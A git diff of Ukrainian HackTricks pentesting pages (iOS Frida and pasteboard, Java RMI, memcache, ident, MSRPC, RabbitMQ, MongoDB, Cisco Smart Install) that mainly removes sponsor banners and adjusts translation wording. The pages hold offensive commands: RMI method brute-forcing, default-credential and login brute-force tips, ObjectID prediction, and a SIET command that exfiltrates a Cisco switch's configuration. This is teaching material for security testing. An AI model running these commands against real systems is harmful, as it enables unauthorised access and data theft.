> У цьому випадку ми **не перезапускаємо додаток або не відновлюємо стан** після кожного payload. Тому, якщо Frida виявить **збій**, **наступні введення** після цього payload також можуть **викликати збій додатку** (оскільки додаток знаходиться в нестабільному стані), навіть якщо **введення не повинно викликати збій** додатку.
> У цьому випадку ми **не перезапускаємо додаток або не відновлюємо стан** після кожного payload. Тому, якщо Frida знайде **збій**, **наступні введення** після цього payload також можуть **збити додаток** (оскільки додаток знаходиться в нестабільному стані), навіть якщо **введення не повинно збивати** додаток.
>
> Більше того, Frida буде підключатися до сигналів виключення iOS, тому коли **Frida виявить збій**, ймовірно, **звіти про збій iOS не будуть згенеровані**.
> Більше того, Frida буде підключатися до сигналів виключення iOS, тому коли **Frida знайде збій**, ймовірно, **звіти про збій iOS не будуть згенеровані**.
>
> Щоб запобігти цьому, наприклад, ми могли б перезапустити додаток після кожного збою Frida.
### Журнали та Збої
### Логи та Збої
Ви можете перевірити **консоль macOS** або **`log`** cli, щоб перевірити журнали macOS.\
Ви також можете перевірити журнали з iOS, використовуючи **`idevicesyslog`**.\
Деякі журнали будуть пропускати інформацію, додаючи **`<private>`**. Щоб показати всю інформацію, вам потрібно встановити деякий профіль з [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/), щоб увімкнути цю приватну інформацію.
Ви можете перевірити **консоль macOS** або **`log`** cli, щоб перевірити логи macOS.\
Ви також можете перевірити логи з iOS, використовуючи **`idevicesyslog`**.\
Деякі логи будуть пропускати інформацію, додаючи **`<private>`**. Щоб показати всю інформацію, вам потрібно встановити деякий профіль з [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/), щоб увімкнути цю приватну інформацію.
Якщо ви не знаєте, що робити:
```sh
@ -343,10 +338,5 @@ killall -9 logd
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Mobile Security** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

15
src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md
View File

@ -1,9 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Обмін даними між додатками на пристроях iOS здійснюється за допомогою механізму [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), який поділяється на дві основні категорії:
- **Системна загальна буферна пам'ять**: Використовується для обміну даними з **будь-яким додатком** і призначена для збереження даних між перезавантаженнями пристрою та видаленнями додатків, функція, яка доступна з iOS 10.
@ -12,9 +8,9 @@
**Безпекові міркування** відіграють значну роль при використанні буферних пам'ятей. Наприклад:
- Немає механізму для користувачів для управління дозволами додатків на доступ до **буферної пам'яті**.
- Щоб зменшити ризик несанкціонованого моніторингу буферної пам'яті у фоновому режимі, доступ обмежений до моменту, коли додаток знаходиться на передньому плані (з iOS 9).
- Щоб зменшити ризик несанкціонованого моніторингу буферної пам'яті у фоновому режимі, доступ обмежується до моменту, коли додаток знаходиться на передньому плані (з iOS 9).
- Використання постійних іменованих буферних пам'ятей не рекомендується на користь спільних контейнерів через проблеми конфіденційності.
- Функція **Універсальний буфер обміну**, введена з iOS 10, що дозволяє обмінюватися вмістом між пристроями через загальну буферну пам'ять, може бути керована розробниками для встановлення терміну дії даних і відключення автоматичного перенесення вмісту.
- Функція **Універсальний буфер обміну**, введена з iOS 10, що дозволяє обмінюватися контентом між пристроями через загальну буферну пам'ять, може бути керована розробниками для встановлення терміну дії даних і відключення автоматичного перенесення контенту.
Забезпечення того, щоб **чутлива інформація не зберігалася ненавмисно** в глобальній буферній пам'яті, є критично важливим. Крім того, додатки повинні бути спроектовані так, щоб запобігти зловживанню даними глобальної буферної пам'яті для ненавмисних дій, і розробників заохочують впроваджувати заходи для запобігання копіюванню чутливої інформації в буфер обміну.
@ -31,7 +27,7 @@
- Моніторинг `generalPasteboard` для системного використання.
- Трасування `pasteboardWithName:create:` та `pasteboardWithUniqueName` для користувацьких реалізацій.
- Спостереження за застарілими викликами методу `setPersistent:` для перевірки налаштувань збереження.
- Спостереження за застарілими викликами методу `setPersistent:`, щоб перевірити налаштування збереження.
Ключові деталі для моніторингу включають:
@ -39,7 +35,7 @@
- **Кількість елементів** та **типи даних**, використовуючи стандартні та користувацькі перевірки типів даних.
- **Опції терміну дії та локального використання** шляхом перевірки методу `setItems:options:`.
Приклад використання інструменту моніторингу - **монітор буферної пам'яті objection**, який опитує generalPasteboard кожні 5 секунд на предмет змін і виводить нові дані.
Приклад використання інструменту моніторингу - **монітор буферної пам'яті objection**, який опитує generalPasteboard кожні 5 секунд на наявність змін і виводить нові дані.
Ось простий приклад скрипту JavaScript, натхненного підходом objection, для читання та запису змін з буферної пам'яті кожні 5 секунд:
```javascript
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

26
src/network-services-pentesting/1099-pentesting-java-rmi.md
View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Основна інформація
_Java Remote Method Invocation_, або _Java RMI_, є об'єктно-орієнтованим _RPC_ механізмом, який дозволяє об'єкту, розташованому в одній _Java віртуальній машині_, викликати методи на об'єкті, розташованому в іншій _Java віртуальній машині_. Це дозволяє розробникам писати розподілені програми, використовуючи об'єктно-орієнтовану парадигму. Коротке введення в _Java RMI_ з наступальної перспективи можна знайти в [цьому виступі blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
_Java Remote Method Invocation_, або _Java RMI_, є об'єктно-орієнтованим механізмом _RPC_, який дозволяє об'єкту, розташованому в одній _Java віртуальній машині_, викликати методи на об'єкті, розташованому в іншій _Java віртуальній машині_. Це дозволяє розробникам створювати розподілені програми, використовуючи об'єктно-орієнтовану парадигму. Коротке введення в _Java RMI_ з наступальної перспективи можна знайти в [цьому виступі blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
**Порт за замовчуванням:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -59,7 +51,7 @@ e.printStackTrace();
}
}
```
Другий з вищезгаданих викликів вирішується за допомогою _Distributed Garbage Collector_ (_DGC_). Це ще одна _RMI service_ з відомим значенням `ObjID` і вона доступна практично на кожному _RMI endpoint_. Коли _RMI client_ починає використовувати _RMI service_, він надсилає інформацію до _DGC_, що відповідний _remote object_ використовується. _DGC_ може відстежувати кількість посилань і здатний очищати невикористовувані об'єкти.
Другий з вищезгаданих викликів вирішується за допомогою _Distributed Garbage Collector_ (_DGC_). Це ще одна _RMI service_ з відомим значенням `ObjID` і вона доступна на практично кожному _RMI endpoint_. Коли _RMI client_ починає використовувати _RMI service_, він надсилає інформацію до _DGC_, що відповідний _remote object_ використовується. _DGC_ може відстежувати кількість посилань і здатний очищати невикористовувані об'єкти.
Разом з застарілою _Activation System_, це три стандартні компоненти _Java RMI_:
@ -71,7 +63,7 @@ e.printStackTrace();
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є сканером вразливостей _Java RMI_, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати це:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -146,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Брутфорсинг віддалених методів
Навіть коли під час перерахунку не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з користувацькими _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з користувацькими _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
На жаль, _Java RMI_ не підтримує перерахунок методів на _віддалених об'єктах_. Тим не менш, можливо брутфорсити підписи методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
На жаль, _Java RMI_ не підтримує енумерацію методів на _віддалених об'єктах_. Тим не менш, можливо брутфорсити підписи методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) для легкого створення та **автоматизації робочих процесів**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

33
src/network-services-pentesting/11211-memcache/memcache-commands.md
View File

@ -2,42 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
**З** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Підтримувані команди (офіційні та деякі неофіційні) задокументовані в документі [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
На жаль, опис синтаксису не зовсім зрозумілий, і простий допоміжний командний список існуючих команд був би набагато кращим. Ось огляд команд, які ви можете знайти в [source](https://github.com/memcached/memcached) (станом на 19.08.2016):
На жаль, опис синтаксису не зовсім зрозумілий, і проста команда допомоги, що перераховує існуючі команди, була б набагато кращою. Ось огляд команд, які ви можете знайти в [source](https://github.com/memcached/memcached) (станом на 19.08.2016):
| Command | Description | Example |
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Читає значення | `get mykey` |
| set | Встановлює ключ без умов | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Переконайтеся, що ви використовуєте \r\n як розриви рядків при використанні Unix CLI інструментів. Наприклад&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| set | Встановлює ключ без умов | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Переконайтеся, що ви використовуєте \r\n як розриви рядків при використанні інструментів командного рядка Unix. Наприклад&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Додає новий ключ | `add newkey 0 60 5` |
| replace | Перезаписує існуючий ключ | `replace key 0 60 5` |
| append | Додає дані до існуючого ключа | `append key 0 60 15` |
| prepend | Додає дані на початок існуючого ключа | `prepend key 0 60 15` |
| incr | Збільшує числове значення ключа на задане число | `incr mykey 2` |
| decr | Зменшує числове значення ключа на задане число | `decr mykey 5` |
| decr | Зменшує числове значення ключа на задане число | `decr mykey 5` |
| delete | Видаляє існуючий ключ | `delete mykey` |
| flush_all | Негайно анулює всі елементи | `flush_all` |
| flush_all | Негайно анулює всі елементи через n секунд | `flush_all 900` |
| stats | Виводить загальну статистику | `stats` |
| | Виводить статистику пам'яті | `stats slabs` |
| flush_all | Негайно анулює всі елементи | `flush_all` |
| flush_all | Негайно анулює всі елементи через n секунд | `flush_all 900` |
| stats | Виводить загальну статистику | `stats` |
| | Виводить статистику пам'яті | `stats slabs` |
| | Виводить статистику виділення на вищому рівні | `stats malloc` |
| | Виводить інформацію про елементи | `stats items` |
| | Виводить інформацію про елементи | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Скидає лічильники статистики | `stats reset` |
| lru_crawler metadump | Виводить (більшість) метаданих для (всіх) елементів у кеші | `lru_crawler metadump all` |
| | Скидає лічильники статистики | `stats reset` |
| lru_crawler metadump | Виводить (більшість) метаданих для (всіх) елементів у кеші | `lru_crawler metadump all` |
| version | Виводить версію сервера. | `version` |
| verbosity | Збільшує рівень журналювання | `verbosity` |
| quit | Завершує сесію | `quit` |
| quit | Завершує сесію | `quit` |
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
@ -118,10 +115,6 @@ STAT items:2:age 1405
[...]
END
```
Це принаймні допомагає побачити, чи використовуються якісь ключі. Щоб вивантажити імена ключів з PHP-скрипта, який вже виконує доступ до memcache, ви можете використовувати PHP-код з [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Це принаймні допомагає побачити, чи використовуються якісь ключі. Щоб вивантажити імена ключів з PHP-скрипта, який вже виконує доступ до memcache, ви можете використовувати PHP-код з [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
{{#include ../../banners/hacktricks-training.md}}

20
src/network-services-pentesting/113-pentesting-ident.md
View File

@ -2,25 +2,18 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Основна інформація
**Протокол Ident** використовується через **Інтернет** для асоціації **TCP-з'єднання** з конкретним користувачем. Спочатку розроблений для допомоги в **управлінні мережею** та **безпеці**, він працює, дозволяючи серверу запитувати клієнта на порту 113 для отримання інформації про користувача конкретного TCP-з'єднання.
Протокол **Ident** використовується через **Інтернет** для асоціації **TCP-з'єднання** з конкретним користувачем. Спочатку розроблений для допомоги в **управлінні мережею** та **безпеці**, він працює, дозволяючи серверу запитувати клієнта на порту 113 для отримання інформації про користувача конкретного TCP-з'єднання.
Однак, через сучасні проблеми конфіденційності та потенційні зловживання, його використання зменшилося, оскільки він може ненавмисно розкрити інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворі контроль доступу, щоб зменшити ці ризики.
Однак, через сучасні проблеми конфіденційності та потенціал для зловживання, його використання зменшилося, оскільки він може ненавмисно розкривати інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворі контроль доступу, щоб зменшити ці ризики.
**Порт за замовчуванням:** 113
```
PORT STATE SERVICE
113/tcp open ident
```
## **Перерахування**
## **Перерахунок**
### **Вручну - Отримати користувача/Визначити сервіс**
@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident), щоб легко створювати та **автоматизувати робочі процеси**, що працюють на основі **найсучасніших** інструментів спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Автоматичні команди HackTricks
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

44
src/network-services-pentesting/135-pentesting-msrpc.md
View File

@ -2,22 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Basic Information
## Основна інформація
Протокол Microsoft Remote Procedure Call (MSRPC), клієнт-серверна модель, що дозволяє програмі запитувати послугу у програми, розташованої на іншому комп'ютері, не розуміючи специфіки мережі, спочатку був отриманий з програмного забезпечення з відкритим кодом, а пізніше розроблений і захищений авторським правом компанією Microsoft.
@ -27,7 +12,7 @@
```
## Як працює MSRPC?
Ініційований клієнтським додатком, процес MSRPC включає виклик локальної стуб-процедури, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек.
Ініційований клієнтським додатком, процес MSRPC включає виклик локальної підпроцедури, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек.
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
@ -58,10 +43,10 @@ rpcdump.py <IP> -p 135
- **Опис**: Інтерфейс LSA, використовується для перерахунку користувачів.
- **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- **Named Pipe**: `\pipe\lsarpc`
- **Опис**: Інтерфейс LSA Directory Services (DS), використовується для перерахунку доменів та довірчих відносин.
- **Опис**: Інтерфейс LSA Directory Services (DS), використовується для перерахунку доменів і довірчих відносин.
- **IFID**: 12345778-1234-abcd-ef00-0123456789ac
- **Named Pipe**: `\pipe\samr`
- **Опис**: Інтерфейс LSA SAMR, використовується для доступу до елементів публічної бази даних SAM (наприклад, імена користувачів) та брутфорсу паролів користувачів незалежно від політики блокування облікових записів.
- **Опис**: Інтерфейс LSA SAMR, використовується для доступу до елементів публічної бази даних SAM (наприклад, імена користувачів) і брутфорсу паролів користувачів незалежно від політики блокування облікових записів.
- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
- **Named Pipe**: `\pipe\atsvc`
- **Опис**: Планувальник завдань, використовується для віддаленого виконання команд.
@ -70,13 +55,13 @@ rpcdump.py <IP> -p 135
- **Опис**: Служба віддаленого реєстру, використовується для доступу та зміни системного реєстру.
- **IFID**: 367abb81-9844-35f1-ad32-98f038001003
- **Named Pipe**: `\pipe\svcctl`
- **Опис**: Менеджер контролю служб та серверні служби, використовується для віддаленого запуску та зупинки служб і виконання команд.
- **Опис**: Менеджер контролю служб і серверні служби, використовується для віддаленого запуску та зупинки служб і виконання команд.
- **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- **Named Pipe**: `\pipe\srvsvc`
- **Опис**: Менеджер контролю служб та серверні служби, використовується для віддаленого запуску та зупинки служб і виконання команд.
- **Опис**: Менеджер контролю служб і серверні служби, використовується для віддаленого запуску та зупинки служб і виконання команд.
- **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- **Named Pipe**: `\pipe\epmapper`
- **Опис**: Інтерфейс DCOM, використовується для брутфорсу паролів та збору інформації через WM.
- **Опис**: Інтерфейс DCOM, використовується для брутфорсу паролів і збору інформації через WM.
### Визначення IP-адрес
@ -104,19 +89,4 @@ rpcdump.py <IP> -p 135
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{{#include ../banners/hacktricks-training.md}}

14
src/network-services-pentesting/15672-pentesting-rabbitmq-management.md
View File

@ -2,13 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для винагород за вразливості, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Basic Information
## Основна інформація
Ви можете дізнатися більше про RabbitMQ у [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
На цьому порту ви можете знайти веб-консоль управління RabbitMQ, якщо [плагін управління](https://www.rabbitmq.com/management.html) увімкнено.\
@ -16,9 +12,9 @@
![](<../images/image (336).png>)
## Enumeration
## Перерахування
Стандартні облікові дані "_**guest**_":"_**guest**_". Якщо вони не працюють, ви можете спробувати [**брутфорсити вхід**](../generic-hacking/brute-force.md#http-post-form).
За замовчуванням облікові дані - "_**guest**_":"_**guest**_". Якщо вони не працюють, ви можете спробувати [**брутфорсити вхід**](../generic-hacking/brute-force.md#http-post-form).
Щоб вручну запустити цей модуль, вам потрібно виконати:
```
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для винагород за вразливості, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

36
src/network-services-pentesting/27017-27018-mongodb.md
View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Основна інформація
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Basic Information
**MongoDB** є **системою управління базами даних з відкритим кодом**, яка використовує **модель бази даних, орієнтовану на документи**, для обробки різноманітних форм даних. Вона пропонує гнучкість і масштабованість для управління неструктурованими або напівструктурованими даними в таких застосунках, як аналітика великих даних та управління контентом. **Порт за замовчуванням:** 27017, 27018
**MongoDB** є **системою управління базами даних з відкритим кодом**, яка використовує **модель бази даних, орієнтовану на документи**, для обробки різноманітних форм даних. Вона пропонує гнучкість і масштабованість для управління неструктурованими або напівструктурованими даними в таких застосунках, як аналітика великих даних і управління контентом. **Порт за замовчуванням:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -95,7 +80,7 @@ Mongo Object ID - це **12-байтові шістнадцяткові** ряд
3. 2500: Ідентифікатор процесу
4. 314019: Інкрементний лічильник
З наведених елементів ідентифікатор машини залишиться незмінним, поки база даних працює на тій же фізичній/віртуальній машині. Ідентифікатор процесу зміниться лише в разі перезапуску процесу MongoDB. Часова мітка буде оновлюватися кожну секунду. Єдина проблема в тому, щоб вгадати Object ID, просто інкрементуючи значення лічильника та часової мітки, полягає в тому, що Mongo DB генерує Object ID та призначає Object ID на системному рівні.
З вищезазначених елементів, ідентифікатор машини залишиться незмінним, поки база даних працює на тій же фізичній/віртуальній машині. Ідентифікатор процесу зміниться лише в разі перезапуску процесу MongoDB. Часова мітка буде оновлюватися кожну секунду. Єдина проблема в тому, щоб вгадати Object ID, просто інкрементуючи значення лічильника та часової мітки, полягає в тому, що Mongo DB генерує Object ID та призначає Object ID на системному рівні.
Інструмент [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), отримавши початковий Object ID (ви можете створити обліковий запис і отримати початковий ID), повертає близько 1000 ймовірних Object ID, які могли бути призначені наступним об'єктам, тому вам просто потрібно їх брутфорсити.
@ -105,19 +90,4 @@ Mongo Object ID - це **12-байтові шістнадцяткові** ряд
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
**Новини про хакінг у реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{{#include ../banners/hacktricks-training.md}}

10
src/network-services-pentesting/4786-cisco-smart-install.md
View File

@ -2,9 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Основна інформація
@ -19,7 +16,7 @@ PORT STATE SERVICE
**У 2018 році в цьому протоколі була виявлена критична вразливість, CVE-2018–0171. Рівень загрози становить 9.8 за шкалою CVSS.**
**Спеціально підготовлений пакет, надісланий на TCP/4786 порт, де активний Cisco Smart Install, викликає переповнення буфера, що дозволяє зловмиснику:**
**Спеціально сформований пакет, надісланий на TCP/4786 порт, де активний Cisco Smart Install, викликає переповнення буфера, що дозволяє зловмиснику:**
- примусово перезавантажити пристрій
- викликати RCE
@ -29,7 +26,7 @@ PORT STATE SERVICE
**Цільовим пристроєм буде "живий" комутатор Cisco Catalyst 2960. Віртуальні образи не мають Cisco Smart Install, тому ви можете практикуватися лише на реальному обладнанні.**
Адреса цільового комутатора **10.10.100.10 і CSI активний.** Завантажте SIET і почніть атаку. **Аргумент -g** означає ексфільтрацію конфігурації з пристрою, **аргумент -i** дозволяє вам встановити IP-адресу вразливої цілі.
Адреса цільового комутатора **10.10.100.10 і CSI активний.** Завантажте SIET і почніть атаку. **Аргумент -g** означає ексфільтрацію конфігурації з пристрою, **аргумент -i** дозволяє вам встановити IP-адресу вразливого цільового пристрою.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -39,8 +36,5 @@ PORT STATE SERVICE
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

19
